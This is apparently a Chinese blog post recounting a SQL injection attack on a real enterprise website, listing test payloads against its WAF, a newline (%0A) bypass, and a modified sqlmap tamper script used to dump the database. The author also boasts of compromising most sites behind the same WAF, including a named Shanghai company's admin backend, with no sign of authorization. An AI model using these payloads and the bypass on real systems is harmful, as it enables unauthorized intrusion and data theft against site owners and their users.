【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期

/原作者:Kali_MG1937
CSDN博客:ALDYS4
QQ:3496925334
未经许可,禁止转载
/
之前在某渗透群看大佬实战某企业站
可迟迟没拿下
本菜鸟决定凑个热闹

第一步:找注入点

进网站先找注入点
嗯,有个带参数的页面
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第1张图片
尝试注入:

GET 结果
?id=1’ 报错,不拦截,报错信息显示是Access数据库
?id=1’or’1’like’1 拦截
?id=1 or 拦截
?id=1or 不拦截

waf可能会匹配空格后的关键字
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第2张图片

GET 结果
?id=1 xor true# 不拦截,成功注入查询至新闻的最后一篇文章

【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第3张图片

GET 结果
?id=1 or true# 拦截
?id=1or true# 不拦截

●看来这个waf并没有拦截xor这个关键字,且waf确实是在匹配空格后的关键字
●并且确定确实有注入点,并且参数是int型
select之类的关键字就不说了,肯定被拦截

第二步:尝试绕过WAF

如果waf检查空格后的字符
那么就尝试对空格进行Unicode编码

GET 结果
?id=1%20or%20true%23 拦截
?id=1%u0020or 拦截
?id=1%A0or 拦截
id=1%00or%00true 不拦截,但是%00却截断了注入语句,并没有注入成功
对空格进行编码绕过失败

换一个思路:
如果注入语句不在同一行上呢?
sql查询就算被回车键截断也可以成功进行
那么把空格替换成回车试试看

GET 结果
?id=1%0Aor%0Atrue# 不拦截,并且查询成功!

利用回车截断注入语句证明可行!

第三步:利用注入点

网上查找相关的tamper
很遗憾并没有把空格替换成回车的脚本
那么就在原有的tamper上进行修改
sqlmap自带的tamper:
space2comment
这个脚本的原代码是把空格替换成/**/

进行修改,把/**/改成%0A
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第4张图片
另存为space20A.py
带入sqlmap,成功爆出数据库

【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第5张图片
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第6张图片
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第7张图片

第四步:大多使用此WAF的网站惨遭通杀

拿下一个企业站并不算什么
令我惊讶的是大多数网站都在用这个waf
导致大多数网站都成功通杀
举例:
上海某动画公司,成功手工注入
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第8张图片
进入后台:
【渗透实战】sqlmap_修改tamper脚本_绕过WAF_第一期_第9张图片
还有一些站也被成功注入,就不一一举例了

你可能感兴趣的:(渗透实战)